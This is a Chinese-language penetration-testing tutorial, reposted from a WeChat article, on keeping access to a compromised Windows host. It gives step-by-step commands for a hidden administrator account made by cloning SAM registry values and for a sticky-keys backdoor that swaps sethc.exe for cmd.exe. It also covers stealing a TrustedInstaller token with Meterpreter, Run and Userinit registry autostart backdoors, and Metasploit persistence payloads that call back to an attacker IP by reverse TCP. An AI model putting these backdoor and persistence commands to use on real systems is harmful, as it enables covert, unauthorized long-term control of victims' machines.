转载自:https://mp.weixin.qq.com/s/ZwM2h3OHhnH9WYZWO6GFdw

0x00 前言

在攻击者利用漏洞获取到某台机器的控制权限之后,会考虑将该机器作为一个持久化的据点,种植一个具备持久化的后门,从而随时可以连接该被控机器进行深入渗透。当我们在渗透过程中通过漏洞获取到目标主机权限后,往往会因为服务器管理员发现和修补漏洞而导致对服务器权限的丢失,所以权限维持就显得很重要了。

0x01 windows权限维持

1. Windows系统隐藏账户

该方法是通过建立隐藏账户,制作系统用户远程控制后门,维持目标Windows系统权限。

制作方法跟步骤如下:

在目标主机cmd中输入以下命令,创建一个名为whoami$的隐藏账户,并把该隐藏账户设置为管理员权限。

图片

如上图,我们已经创建成功,执行net user命令,发现是看不到whoami$用户的:

1
2
net user whoami$ Liu78963 /add
net localgroup administrators whoami$ /add

图片

但是这就结束了吗,没有!虽然上面net user看不见该隐藏用户,但是在控制面板和计算机管理的本地用户和组中,仍然是可以看得到该用户的

图片

为了更好地隐藏我们的后门账户,我们还要开启目标主机的远程桌面进行如下操作。

打开注册表编辑器,找

*HKEY_LOCAL_MACHINE\SAM\SAM*

单机右键,选择“权限”,把Administrator用户的权限,设置成“完全控制”权限,然后关闭注册表编辑器,再次打开即可。

图片

这样SAM下的文件就都能看见了。

然后,在注册表编辑器的

*HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names*

点击Administrator用户,在左侧找到和在右边显示的键值的类型一项“0x1f4”相同的目录名,也就是箭头所指目录***“000001F4”***:

图片

复制000001F4 目录中的F键的值:

图片

然后找到与隐藏账户whoami$右边类型的键值“0x3e9”相同的目录名,也就是。

图片

然后将000001F4 的F值粘贴到000003E9 的F值中,点击确定:

图片

然后从注册表中右键导出000003E9 和whoami$,并删除whoami$用户

-

1
net user whoami$ /del:

图片

图片

图片

此时,查看注册表以及本地用户和组或者控制面板,whoami$用户已经没有了。

最后,将刚才导出的两个后缀为.reg的注册表项导入注册表中

图片

这样我们的隐藏账户whoami$就创建好了。现在,不管你是在命令提示符下输入 net user 或者在系统用户管理界面都是看不到whoami$这个账户的,只有在注册表中才能看得到。

2. Shift 粘滞键后门

如果你在电脑上连按五次shift键,你就会发现电脑屏幕上弹出了一个叫做“粘滞键”的程序:

图片

即使在没有登录进系统之前,连按五次shift键也可以弹出这个程序:

图片

思考一下,如果我们知道了这个程序的绝对路径,那么我们就可以将cmd.exe伪装成这个粘滞键程序,

当我们连按五次shift键时,便会弹出一个CMD命令行窗口,那么我们就可以无需登录进系统便可以控制目标主机了。

粘滞键程序名称为“sethc.exe”,其路径为*“c:\windows\system32\sethc.exe”*

利用粘滞键做后门是一种比较常见的持续控制方法。其基本流程如下:

(1)首先,我们手动或利用工具,找到sethc.exe将其删除或改名为sethc.exe.bak,

(2)接着将cmd.exe程序复制一个副本,并命名为“sethc.exe”。

(3)最后,重启计算机再次按下5次Shift键时,就会弹出CMD界面,后门制作成功。

在目标主机上执行如下命令即可:

1
2
3
cd c:\windows\system32
move sethc.exe sethc.exe.bak // 将sethc.exe重命名
copy cmd.exe sethc.exe // 将一个cmd.exe副本保存伪装成sethc.exe

图片

此时,我们打开目标主机的远程桌面,连续按下五次shift键,便可以看到目标主机屏幕上成功弹出了一个CMD窗口:

图片

如上图,该cmd是以system权限运行的,接下来我们就可以无需知道登录密码,无需登录,直接对目标主机执行各种高权限的操作了,也完全可以新建一个高权限用户直接登录进入系统,是不是很有意思?

但是,先别高兴的太早了,在一些做了防护的主机上,即使是SYSTEM权限也是无法修改sethc.exe的:

图片

只有TrustedInstaller权限才可以,这时,我们就要先模拟一个TrustedInstaller权限的令牌获取TrustedInstaller权限,然后再执行上述操作。我们的思路如下:

当我们启动TrustedInstaller服务时会启动进程TrustedInstaller.exe,该程序的权限为NTSERVICE\TrustedInstaller,那么我们就可以窃取该进程的令牌。

首先进入shell启动TrustedInstaller服务:

1
sc.exe start TrustedInstaller # 先进入shell启动TrustedInstaller服务

图片

然后执行如下即可:

1
2
3
4
use incognito
ps # 找到TrustedInstaller的进程PID,这里为3476
steal_token <PID> # 从该进程中窃取令牌
getuid

图片

此时便可以对sethc.exe进行任何操作了:

图片

3. 注册表键后门

该方法是通过将需要执行的后门程序或者攻击脚本路径添加到注册表的自动启动项中,从而实现目标主机启动或登录时便会执行后门程序使我们获得其控制权限。

一般我们使用注册表的如下位置:

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run // 开启时启动程序

HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit // 登录时启动程序

首先我们制作一个metasploit后门:

图片

将该后门程序上传到目标主机的C:\Windows\System32目录中:

图片

然后在目标主机的meterpreter执行如下命令注册表进行操作制作后门:

1
2
3
4
reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run #枚举run下的key
reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v backdoor -d 'C:\windows\system32\backdoor.exe' #设置键值
reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\Run -v
backdoor #查看键值

图片

如上图所示,后门创建成功。此时我们重新开一个metasploit监听,然后输入“shutdown -r -t 0”命令让目标主机重启,当目标主机重新启动后便会启动执行backdoor.exe后门程序,我们攻击机的新开的metasploit监听上就会成功上线:

图片

我们还可以操作注册表的Userinit键:

*HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit*

让目标主机在用户进行登录时,winlogon运行指定的后门程序。

除此之外还有以下可利用的注册表键:

*HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce // 只会在开机*

*时启动一次*

*HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices*

*HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce*

Metasploit 下的利用

Metasploit通过使用Meterpreter脚本和后渗透模块来支持通过注册表的持久性。Meterpreter脚本将以VBS脚本的形式创建一个有效payload,该payload将被上传到目标主机的磁盘上,并创建一个注册表项,该注册表项将在用户登录期间循环运行该有效负载。

1
2
3
4
5
6
7
8
9
10
11
run persistence -U -P windows/x64/meterpreter/reverse_tcp -i 5 -p 4444 -r
192.168.52.129
run persistence -X -P windows/x64/meterpreter/reverse_tcp -i 5 -p 4444 -r
192.168.52.129
//-U指定启动方式为用户登录时自启动
//-X指定启动的方式为开机自启动
//-P 指定所使用的payload
//-i不断尝试反向连接的时间间隔,我们这里设置的是5秒钟执行一次
//–r指定攻击者的ip
//-p 指定攻击者监听的端口

如上图所示执行成功,生成后门后,只要目标主机重启或者登录,我们将在特定的时间间隔保持meterpreter会话了。